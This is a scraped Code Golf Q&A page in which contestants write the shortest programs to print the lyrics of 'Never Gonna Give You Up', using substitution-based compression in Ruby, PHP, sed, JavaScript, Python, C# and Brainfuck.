Japt](http://ethproductions.github.io/japt/?v=master&code=I3ZcOzJeMFw7N3x8IjwrMCswKzArPCohMichMSdMIycxcic0O240CiN2MCNfcUAKIz4zTi4xNW8bfDEKI3xcdyoKIzggIF48MWIwIDwKI3wKI01gCnByaW50ICgoMCBhbmQnMTMnKW9yKE5vbmUgYW5kIDkgb3IgMS8yIGFuZCAxIG9yIDUpKQojIjA3fDUvLzAwOzE2ICJqG2Q1a2ky&input=), [8 in Retina](https://tio.run/nexus/retina#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [9 in Perl](https://tio.run/nexus/perl#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [10 in Befunge(-93)](https://tio.run/nexus/befunge#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [11 in Befunge-98](https://tio.run/nexus/befunge-98#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [12 in Fission](https://tio.run/nexus/fission#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [13 in Ruby](https://tio.run/nexus/ruby#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [14 in Turtléd](https://tio.run/nexus/turtled#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf), [15 in Haystack](https://tio.run/#IJnm9), and **[16 in Pyth](https://tio.run/nexus/pyth#HchNDoIwEEDhfa/AZmAWBUykU6ho2hgPoJyA4E9wgSatNgY3vTsKeavvTTi2Wnai1XUIiVmJJZPHksfEj8jJ80rbiuEo8Pw@MNyXzZqUiwIxDO03Z7gF6AzdBJj/YXi6sJcf7AfSVMDV9pxKnjmfNs7eZ8MOnAcq5AKaobKMYSLqoIpCCE0bSB5Rr56DnKYf)**. ### Explanation What Pyth sees here is: ``` #v\;2^0\;7||"string multiline string"07|5//00;16 "string ``` This translates to the following pseudocode: ``` while no errors occur: evaluate ";" print 2 print 0 to the power ";" print 7 print "string\nmultiline\nstring" or 0 or 7 print 5 or 0 divided by 0 divided by (missing) print 16 do nothing with "string" ``` The first loop exits on trying to evaluate `;` which isn't a valid expression. Then Pyth just prints `16`. ]
[Question] [ Write the shortest program that prints the entire [lyrics of "Never Gonna Give You Up"](http://pastebin.com/wwvdjvEj) by Rick Astley. Rules: * Must output the lyrics exactly as they appear in the above pastebin\*. Here's the raw dump: <http://pastebin.com/raw/wwvdjvEj> * Cannot rely on any external resources - all lyrics must be generated by / embedded in code. * No use of existing compression algorithms (e.g. gzip / bzip2) unless you include the full algorithm in your code. * Use any language, shortest code wins. Update, 1st June 2012: For solutions containing non-ASCII text, the size of your solution will be counted in bytes, based on UTF-8 encoding. If you use codepoints that cannot be encoded in UTF-8, your solution will not be judged as valid. Update, 7th June 2012: Thank you all for your awesome solutions! I'll be accepting the shortest answer tomorrow afternoon. Right now, [Peter Taylor's GolfScript answer](https://codegolf.stackexchange.com/questions/6043/were-no-strangers-to-code-golf-you-know-the-rules-and-so-do-i/11549#11549) is winning, so get cracking on some improvements if you want to beat him! :) \*There is a typo in the Pastebin (line 46, "know" should be "known"). You may either replicate it or not at your discretion. [Answer] # Ruby 576 557 556 (552) chars && PHP 543 chars Another search-and-replace solution. Note that this form of solution is essentially a Grammar-based Compression Code <http://en.wikipedia.org/wiki/Grammar-based_code> Check out <http://www.cs.washington.edu/education/courses/csep590a/07au/lectures/lecture05small.pdf> for a simple to understand compression example. I've written the substitution rules so that the starting character for each substitution is computed (they are in sequential ASCII order); it need not be present in the transition data. ``` i=44 s="We; n7trangMsL8loT63Ke rules5s8d8I AJull commit4nt'sChatFKink: of6CHldn'tRetKisJrom<ny@Ruy-/A= if?<sk 42DS'tLE 4?;Lo8bli=L7ee.. O,R1)O,R001)/-.." " I justCannaLE?2Gotta >u=Msta=.| Ng1Nlet? downNrun<rH=5desMt?N>cryNsayRoodbyeNtE< lie5hurt?| We'T3n each@Jor s8lSg6r hear9<ch: but6;Lo7hyL7BInsideCe both3Cha9Ro: S We3KeRa45we;QplB|1)O)NgiT, nPgiT (G|iT? up| howFJeel: | know|me|<= | YH|8s|o |t's been|ing|'re| a|nd|make? | yH| othM|A|ay it | w|D|ell| I'm|G|ou|I| f|Lh| t|er| NP| (Ooh|eTrQ|RSna | g|on|ve".scan(/[^|]+/){s.gsub!((i+=1).chr,$&)} puts s ``` ## implementation notes * The above solution is 556 chars long, but scores 552 with the removal of newlines from source code. It is slightly better scoring than the original 556 char solution I had that scored 554. * I use "known" instead of "know"; this makes the verse repetition identical and should make the compression better * I originally optimized the rules by repeatedly searching for the substitution that would yield the most decrease in current code size. However, I found that RiderOfGiraffe's substitution rules were (slightly) better than mine, so I'm now using a modified version of his rules. * I spent time reordering the rules so that a single substitution pass can decompress everything. * Due to the computed initial character in the substitution rules, my rule list has a rule for every character in a contiguous ASCII range. I found that having some "dummy" substitution rules was better for code size than having all real rules and coding a final text fixup substitution. * This example is small enough that you probably could successfully write a program to find the optimal (least total cost) set of rules. I would not expect doing this would yield size reductions of more than a few bytes. ## older implementation This older implementation has 576 characters and started with substitution rules from ugoren's bash/sed implementation. Ignoring the substitution variable renaming, my first 28 substitutions are exactly the same as those performed in ugoren's program. I added a few more to lower the overall byte count. This is possible because my rules are more efficiently represented than those in ugoren's implementation. ``` i=44 puts"WeM noHtraLersB loJ;6 C rules=so do $ & full commitment'sGhat<thinkDof;Gouldn'tKet this fromFny oCrKuy. -&E if9ask me1~on't @ me:MBo bliEBHee// 3300-.//| We'J6n each oCr forHo loL;r hear2FchDbut;MBoHhyBH7$nsideGe both6Gha2ADon We6 CKame=weM>pl7| $ justGanna @:1#otta 8uEerstaE/| 5?9up5let9down5runFrouE=desert:58cry5sayAodbye5@F lie=hurt:|(Ooh)5?, nI>? (#4| how<feeliL |t's been|(Ooh,K4|iJ9up) | NI>| know|ay it |make9|: | you| You| $'m |FE |Anna |giJ|tell|Ko| to|the|iL |nd| a| w| s|eJr|ve| g|ng|'re".split("|").inject{|m,o|m.gsub((i+=1).chr,o)}.tr('&~#$',"ADGI") ``` I did not try optimizing the substitution rules in this one. ## contest notes The search-and-replace decompression scheme works well for this contest because most languages have pre-built routines that can do this. With such a small amount of text to be generated, complex decompression schemes do not seem to be feasible winners. I've used only ASCII text and also avoided using unprintable ASCII characters. With these restrictions, each character in your code can only represent up to a maximum of 6.6 bits of information; this is very different than to *real* compression techniques where you use all 8 bits. In some sense, it is not "fair" to compare to gzip/bzip2 code size because those algorithms will use all 8 bits. A fancier decompression algorithm may be possible if you can include traditionally unprintable ASCII in your strings AND each unprintable character is still written in your code as a single byte. ## PHP Solution ``` <?=str_replace(range('-',T),split(q," I justCannaLE?2Gotta >u=Msta=.q Ng1Nlet? downNrun<rH=5desMt?N>cryNsayRoodbyeNtE< lie5hurt?q We'T3n each@Jor s8lSg6r hear9<ch: but6;Lo7hyL7BInsideCe both3Cha9Ro: S We3KeRa45we;QplBq1)O)NgiT, nPgiT (GqiT? upq howFJeel: q knowqmeq<= q YHq8sqo qt's beenqingq'req aqndqmake? q yHq othMqAqay it q wqDqellq I'mqGqouqIq fqLhq tqerq NPq (OohqeTrQqRSna q gqonqve"),"We; n7trangMsL8loT63Ke rules5s8d8I AJull commit4nt'sChatFKink: of6CHldn'tRetKisJrom<ny@Ruy-/A= if?<sk 42DS'tLE 4?;Lo8bli=L7ee.. O,R1)O,R001)/-.."); ``` The above solution takes the PHP from "a sad dude" and combines it with my substitution rules. The PHP answer turns out to have the shortest decompression code. See <http://ideone.com/XoW5t> [Answer] **Whitespace - 33115 characters** StackExchange chomped my answer, here is the source: <https://gist.github.com/lucaspiller/2852385> Not great... I think I may be able to shrink it down a bit though. (If you don't know what Whitespace is: [http://en.wikipedia.org/wiki/Whitespace\_(programming\_language)](http://en.wikipedia.org/wiki/Whitespace_%28programming_language%29)) [Answer] ## Bash / Sed, 705 650 588 582 chars **Logic**: The basic idea is simple replacement. Instead of writing, for example, `Never gonna give you up\nNever gonna let you down`, I write `Xgive you up\nXlet you down` and replace all `X` with `Never gonna`. This is achieved by running `sed` with a set of rules, in the form `s/X/Never gonna /g`. Replacements can be nested. For example, `Never gonna` is common, but so is `gonna` in other contexts. So I can use two rules: `s/Y/ gonna/g` and `s/X/NeverY/g`. When adding rules, parts of the song texts are replaced by single characters, so it gets shorter. The rules become longer, but if the string replaced is long and frequent, it's worth it. The next step is to remove repetition from the `sed` commands themselves. The sequence `s/X/something/g` is quite repetitive. To make it shorter, I change sed commands to look like `Xsomething`. Then I use `sed` to convert this into a normal `sed` command. The code `sed 's#.#s/&/#;s#$#/g;#` does it. The final result is a `sed` command, whose arguments are generated by another `sed` command, in back-quotes. You can find a more detailed explanation [in this link](http://www.youtube.com/watch?v=dQw4w9WgXcQ). **Code:** ``` sed "`sed 's#.#s/&/#;s#$#/g#'<<Q LMWe'veKn each o!r for-o longPr hearHzchJbutP're2o-hy2-@Insidexe bothKxhaHCJonMWeK ! game+we'reZpl@ TMI justxanna _UFGotta QuXerstaXR RM~Squp~letqdown~runzrouX+desertU~Qcry~sayCodbye~_z lie+hurtU E(Ooh)~S, neverZSM(GV F how=feelingM Ht's been %(Ooh, gV Vivequp)M ~MNeverZ K know @ay itM Qmakeq qU U you PMYou = I'm +zX ZCnna Sgive _tell C go 2 to !the Jing Xnd z a x w - s M\n`"<<_ We're no-trangers2 lovePK ! rules+so do I A full commitment'sxhat=thinkJofPxouldn't get this fromzny o!r guyT LAX ifqask meFDon't _ meU're2o bliX2-eeRRMM%%EELTRR ``` Notes: The decompression engine is just 40 characters long. The other 543 are the translation table and compressed text. `bzip2` compresses the song to 500 bytes (without the engine, of course), so there must be room for improvement (though I don't see how I'd add Huffman encoding or something like this cheap enough). `<<Q` (or `<<_`) is used to read until a given character. But the end of script (or backquote expression) is good enough. This sometimes causes a warning. Older and simpler solution, 666 chars: ``` sed " s/L/ MWe'veKn each other for so longMYour heart's been aching butMYou're too shy to say itMInside we bothK what's been going onMWeK the game+we'reZplay itM/; s/T/MI just wanna tellU how I'm feelingMGotta makeU understandR/; s/R/M ~giveU up~letU down~run around+desertU~makeU cry~say goodbye~tell a lie+hurtU/g; s/E/(Ooh)~give, neverZgiveM(GV/g; s/V/iveU up)M/g; s/U/ you/g; s/+/ and /g; s/K/ know/g; s/~/MNeverZ/g; s/Z/ gonna /g; s/M/\n/g "<<Q We're no strangers to love YouK the rules+so do I A full commitment's what I'm thinking of You wouldn't get this from any other guyT LAnd ifU ask me how I'm feeling Don't tell meU're too blind to seeRRM M(Ooh, gV(Ooh, gVEEL TRR ``` [Answer] # JavaScript, ~~590~~ 588 bytes ``` f="WeP nTstrangersZTloMX^Zhe rules[sTdTIqA fuFcommitment'sEhat I'mZhinkQofXEouldn'tJetZhis from anyRguy{Sn}AH ifCask me_Don'tZeFmexPZoTbliHZTsee~~qU,J`)U,Jzz`)S}{~~~q|g`|letCdown|run arouH[desertx|Lcry|sayJoodbye|teFa lie[hurtx} eachRfor sTlongXr hearVachQbutXPZoTshyZTsKInsideEe both^EhaVgoQonqWe^ZheJame[weP]plK|qNeMr]{qI justEannaZellx_Gotta LuHerstaH~z`)U)|giM, neMr]giMq(GCyouq\n`iMCup_ how I'm feelingq^ know]Jonna [ aH Z tXqYouVt's been Uq(OohTo SqqWe'M^R other Qing P'reMveLmakeCKay itqJ gHndFll E wCx ";for(i in g="CEFHJKLMPQRSTUVXZ[]^_`qxz{|}~")e=f.split(g[i]),f=e.join(e.pop()) ``` Depending slightly on the way the string is "printed". <https://gist.github.com/2864108> [Answer] ## C# 879 816 789 characters First attempt at CodeGolf so definitely not a winner, pretty sure it is valid despite it's nastiness. ``` string e="N£give, n£give",f="(Give ! up)",g="(Ooh)",h=@"I just wanna tell ! how I'm feeling Gotta make ! understand",i="(Ooh, give ! up)",j="N£",k=@"We've known each other for so long Your heart's been aching but You're too shy to say it Inside we both know what's been going on We know the game and we're gonna play it",l="",a=String.Join("\n"+j,l,"give ! up","let ! down","run around and desert !","make ! cry","say goodbye","tell a lie and hurt !"),b=String.Join("\n",@"We're no strangers to love You know the rules and so do I A full commitment's what I'm thinking of You wouldn't get this from any other guy",h,a,l,k,@"And if ! ask me how I'm feeling Don't tell me !'re too blind to see",a,a,l,i,i,g,e,f,g,e,f,l,k,l,h,a,a,a).Replace("!","you").Replace("£","ever gonna "); ``` [Answer] ## Python, ~~597~~ 589 bytes It may be possible to squeeze out another couple of bytes: ``` d="""ellU wTay it S otherRConna Qmake4 PveMndL aK'reJingHt's beenFo E gC (OohB Youz txKL q know9 N28 how I'm feelH 7iM4 up66)B)8giM, n2giM (G5 you4 I justTannaxU47Gotta PuLerstaL03eMrQ2 We'M9n eachR for sElongzr hearFKchH butzJxoEshyxEsSInsideTe both9ThaFCoH on We9xheCameqweJQplS1 8g68let4 down8runKrouLqdesert48Pcry8sayCoodbye8tUK lieqhurt40WeJ nEstrangersxEloMz9xhe rulesqsEdEI A full commitment'sThat I'mxhinkH ofzTouldn'tCetxhis fromKnyRCuy31AL if4Ksk me7Don'txU me4JxoEbliLxEsee00 B,C6)B,C556)1300""" for s in'UTSRQPMLKJHFECBzxq9876543210':a,b=d.split(s,1);d=b.replace(s,a) print d ``` [Answer] # BrainFuck - 9905 ``` ++++++++++[>+>+++>++++>+++++++>+++++++++>++++++++++>+++++++++++>++++++ +++++>++++++++++++<<<<<<<<<-]>>>>>---.>+.<<<-.>>>>>++++.<<.<<<<++.>>>> >.+.<<<<<.>>>>>>+.+.--.<<----.>-.<++++++.--.>>.+.<<<<<<.>>>>>>+.<+.<<< <<.>>>>>---.+++.>++.<<.<<<<<.>>>>++.>>.>-.<<<<<<.>>>>>----.+++.+.>>-.< <<<<<<.>>>>>>-.<<+++.---.<<<<.>>>>>>--.+++.<---.<.>>--.<<<<<<.>>>>---- .>++.<+++.<<<<.>>>>>>.<+.<<<<<.>>>>.>.<<<<<.>>+++.<<<.>>>--------.<<.> >>>++.>>++.<---..<<<<<.>>>>---.>+++.--..<++++++.>>-.<.<----.>+.>.<<<<< .>>>>>-.<<<<<<.>>>>>>>.<<<+++.-------.>>+.<<<<<<.>>++++++++.<.>>>>-.<< <<<.>>>>>>.<<+++++++.+.>+.---.<.>+++.<--.<<<<.>>>>>+.<-.<<<<<.>>>>.>>. >+.<<<<<<.>>>>>>>.<<.>.<---.<--.>++.<<<<.>>>>>-.<<<<<<.>>>>+++.--.>>.< <<<<<.>>>>>>.<<+++.+.>>-.<<<<<<.>>>>---.>>-.<+.--.<<<<<.>>>>-----.>+.> >++.<<<<<<<.>>>>>+.>++.<<+++++++.---.>>--.<<<<<<.>>>>++.>>+++.>.<<<<<< <<.>>>.<<.>>>>>-----.>.--.+.<<<<<<.>>>>>>>--.<<<------.>++++..<.<<<<.> >>>>>.<<++++.>--..<<<<<.>>>>>>>++.<<+++.>+.<<<<<<.>>>>+++.>.>>--.<<<<< <<.>>.<.>>>>--.<<<<<.>>>>--.-..>-.<++++.>++.<--.<<<<<.>>>--.>>>+.>-..< <------.<<<<.>>>>>--.<.>--.<++++.<<<<.>>>>>>>++.<<++++.>+.<<<<<<.>>>>> >.<-.<-.+.>>---.+.+.<<----.>.<+++.<<<<<..>>>+++++++.>>+.>>++.<<.>>---- .<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<<.>>> >>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++ .>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<<+++.>+.<<<<<<. >>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>>>++.>+.-..<--- ---.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.<<<<.>>>>---.>. <+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+.<<<<<<<.>>>.>> .>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<.>--.<++++.<<<< .>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>.>>++.>>++++.<< .>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.<<<<<<<.>>>>+++ +++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----.<<<<<<.>>>>++. >.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<<<<.>>>>>.<++++ ++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.++.<<<<<<.>>>>> >>.<<+.>+.<<<<<<<..>>>>--.>---.<<<.>>>>>+.<<.<<<<.>>>>>----.+++.+.>>-- .<<-.<<<<<.>>>>.----.++.+++++.<<<<.>>>>>+.>--.<<.---.>>--.<<<<<<.>>>>+ .>.>.<<<<<<.>>>>>>+.<.<<<<<.>>>>>---.+++.-.<+.<<<<<.>>>>++.>>+.>++.--- .<<<<<<.>>>>+.---.----.>>.++.<<<<<.>>>>>-.<<<<<<.>>>>+.+++..>-.<<<<<.> >>>----.++.+++++.+.>.<--.<<<<.>>>>-----.>>++.-.<<<<<<<.>>>>.>>+.>+.<<< <<.>>>>>---.<<+++.<<<<.>>>>>>++.<..<<<<<.>>>>>>-.<<+++.>>>++.<<<<<<<.> >>>>>+.<.<<<<<.>>>>>>-.<<-------.>>>.<<<<<<<.>>>>++++++++.>>+.<<<<<<<. >>>-----.>>>-.>-.<<.-----.+.<<<<.>>>>>>>--.<<<.<<<<.>>>>---.>+.>+.<<++ ++++.<<<<.>>>>>----.+++.+.>>.<<<<<<<.>>>>>>>.<<<.-------.>>.<<<<<.>>>> >-.<<<<<<.>>>>+.+++..>-.<<<<<.>>>>++.>+.<++.>-.<--.<<<<.>>>>>+.-.<<<<< <.>>>>--.>--.<<<<.>>>>>---.+++.+.>>.<<<<<<<.>>>>>>+.<<+++.---.<<<<.>>> >++.------.>--.<++++.<<<<.>>>>----.>+.<+++.<<<<.>>>>>>>.<<<+.<<<.>>>>> --.<<.<<<<.>>>>++.>+.-..<------.<<<<.>>>>>++.----.<.>>>++.<<<<<<<.>>>> ++++++++.>>++.<<<<<<<.>>>--------.>>>++.<-----.<<<<.>>>>+++++.---.<<<< .>>>>>>>.<<+.>+.<<<<<<.>>>>-----.>>--.<----.<<<<<.>>>>>++.<++++.<<<<.> >>>+++.>++.>>--.<<<<<<<.>>++++++++.<.>>>>--.<<<<<.>>>>--.-..>-.<++++.> ++.<--.<<<<<.>>>-----.>>>+.-.<<<<.>>>>>+.<<<<<<.>>>>>>.<<--.>--..<<<<< .>>>>>+.<.<<<<.>>>>>>>++.<<++.>+.<<<<<.>>>>>---.<<.<<<<.>>>>>>++.<..<< <<<.>>>>---.>---.<+++++++.>++.<-----.<<<<.>>>>>>.<+.<<<<<.>>>>>>-.<<+. .<<<<<..>>>++++++++++.>>.>>+++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<< <<.>>>>++++++.++.>>++++.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<< <<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++ ++.>>++.<<<<<<.>>>>>>>.<<+++.>+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+ .>>+.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>> >.>>---.<+.>+++.<-.<+++.<<<<.>>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++ .<<<<<<.>>>>>>>++.<<+.>+.<<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>. -..<------.<<<<.>>>>>-.<.>--.<++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>> >--.>>---.>.<<<<<<<<.>>>.>>++.>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<--- ---.<<<<.>>>>>>+.<<.>>>.<<<<<<<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<< <.>>>.>>.>>+++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++ ++.>--..<<<<<.>>>>----.<<<<.>>>>>.<++++++++.----.<<<<.>>>>----.>++.<++ +.<<<<.>>>>++++.>>+.---.++.<<<<<<.>>>>>>>.<<+.>+.<<<<<<<..>>>.>>---.>> +.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>++++++.++.>>++++.<<--- -.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>----.<<< <<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<<+++. >+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>>>++. >+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.<<<<. >>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+.<<<< <<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<.>--. <++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>.>>++ .>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.<<<<< <<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----.<<<< <<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<<<<.> >>>>.<++++++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.++.<< <<<<.>>>>>>>.<<+.>+.<<<<<<<..>>+.>+.>>>.<.<<<++++.<.>>>>-.++.>>+.<<--- -.<<<<.>>>>>>>.<<.>-.<<<<<<.>>>>>>.<+.<<<<---.<<.>>-.>.>>>-.<+++.<<<++ ++.<.>>>>-.++.>>+.<<----.<<<<.>>>>>>>.<<.>-.<<<<<<.>>>>>>.<+.<<<<---.< <.>>-.>.>>>-.<+++.<<<+.<<.>>>-.>>---.>>+.<<.>>----.<<<<<<.>>>>++.>.-.. <------.<<<<.>>>>++++++.++.>>++++.<<----.<<<+++.<.>>>>>.<.>>.<<.>>---- .<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<<<.>> ----.>-------.>>++++.>>.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<< <<+.<<.>>-.>++++++++.>>>-.<+++.<<<+.<<.>>>-.>>---.>>+.<<.>>----.<<<<<< .>>>>++.>.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<+++.<.>>>>>.< .>>.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>++++.<< ----.<<<<<.>>----.>-------.>>++++.>>.<<----.<<<<.>>>>>>>.<<+.>-.<<<<<< .>>>>>>.<+.<<<<+.<<..>>>>.>.<<<--.>>>>>+.<<.<<<<.>>>>>-----.+++.+.>>-- .<<<<<<<.>>>>.----.++.+++++.<<<<.>>>>>.>--.<<.---.>>--.<<<<<<.>>>>+.>. >.<<<<<<.>>>>>>+.<.<<<<<.>>>>>---.+++.-.<+.<<<<<.>>>>++.>>+.>++.---.<< <<<<.>>>>+.---.----.>>.++.<<<<<.>>>>>-.<<<<<<.>>>>+.+++..>-.<<<<<.>>>> ----.++.+++++.+.>.<--.<<<<.>>>>-----.>>++.-.<<<<<<<.>>>>.>>+.>+.<<<<<. >>>>>---.<<+++.<<<<.>>>>>>++.<..<<<<<.>>>>>>-.<<+++.>>>++.<<<<<<<.>>>> >>+.<.<<<<<.>>>>>>-.<<-------.>>>.<<<<<<<.>>>>++++++++.>>+.<<<<<<<.>>> ++.>>>-.>-.<<.-----.+.<<<<.>>>>>>>--.<<<.<<<<.>>>>---.>+.>+.<<++++++.< <<<.>>>>>----.+++.+.>>.<<<<<<<.>>>>>>>.<<<.-------.>>.<<<<<.>>>>>-.<<< <<<.>>>>+.+++..>-.<<<<<.>>>>++.>+.<++.>-.<--.<<<<.>>>>>+.-.<<<<<<.>>>> --.>--.<<<<.>>>>>---.+++.+.>>.<<<<<<<.>>>>>>+.<<+++.---.<<<<.>>>>++.-- ----.>--.<++++.<<<<.>>>>----.>+.<+++.<<<<.>>>>>>>.<<<+.<<<.>>>>>--.<<. <<<<.>>>>++.>+.-..<------.<<<<.>>>>>++.----.<.>>>++.<<<<<<<.>>>>++++++ ++.>>++.<<<<<<<..>>>.<<.>>>>>--.>+.--.+.<<<<<<.>>>>>>>--.<<<--------.> ++++..<.<<<<.>>>>>>.<<++++.>--..<<<<<.>>>>>>>++.<<+++.>+.<<<<<<.>>>>++ +.>.>>--.<<<<<<<.>>.<.>>>>--.<<<<<.>>>>--.-..>-.<++++.>++.<--.<<<<<.>> >--.>>>+.>-..<<------.<<<<.>>>>>--.<.>--.<++++.<<<<.>>>>>>>++.<<++++.> +.<<<<<<.>>>>>>.<-.<-.+.>>---.+.+.<<----.>.<+++.<<<<<..>>>+++++++.>>+. >>++.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>++++++.++.>>++++.< <----.<<<<.>>>>>>>.<<+.>-.<<<<<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>---- .<<<<<<.>>>>++.>-.-..<------.<<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<< +++.>+.<<<<<<.>>>>-.>.>>--.<<-.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>> >++.>+.-..<------.<<<<.>>>>>>.+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.< <<<.>>>>---.>.<+++.<<<<.>>>>.+.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+. <<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>-.<. >--.<++++.<<<<.>>>>>>>.<<++++.>+++.<<<<<<.>>>>--.>>---.>.<<<<<<<<.>>>. >>++.>>++++.<<.>>----.<<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>+.<<.>>>.< <<<<<<.>>>>++++++.>+..<---.--.>>>.<<<+++.<<<<<.>>>.>>.>>+++.<<.>>----. <<<<<<.>>>>++.>.-..<------.<<<<.>>>>>>++.<<++++.>--..<<<<<.>>>>----.<< <<.>>>>>.<++++++++.----.<<<<.>>>>----.>++.<+++.<<<<.>>>>++++.>>+.---.+ +.<<<<<<.>>>>>>>.<<+.>+.<<<<<<<..>>>.>>---.>>+.<<.>>----.<<<<<<.>>>>++ .>.-..<------.<<<<.>>>>++++++.++.>>++++.<<----.<<<<.>>>>>>>.<<+.>-.<<< <<<.>>>>>>.<+.<<<<<<.>>>.>>.>>+.<<.>>----.<<<<<<.>>>>++.>-.-..<------. <<<<.>>>>>--.<++++.>>++.<<<<<<.>>>>>>>.<<+++.>+.<<<<<<.>>>>-.>.>>--.<< -.<<<<<<.>>>.>>+.>>+.<<.>>----.<<<<<<.>>>>++.>+.-..<------.<<<<.>>>>>> .+++.<.<<<<<.>>>>.>>---.<+.>+++.<-.<+++.<<<<.>>>>---.>.<+++.<<<<.>>>>. +.>>--.<<.>>-.++.<<<<<<.>>>>>>>++.<<+.>+.<<<<<<<.>>>.>>.>>+.<<.>>----. 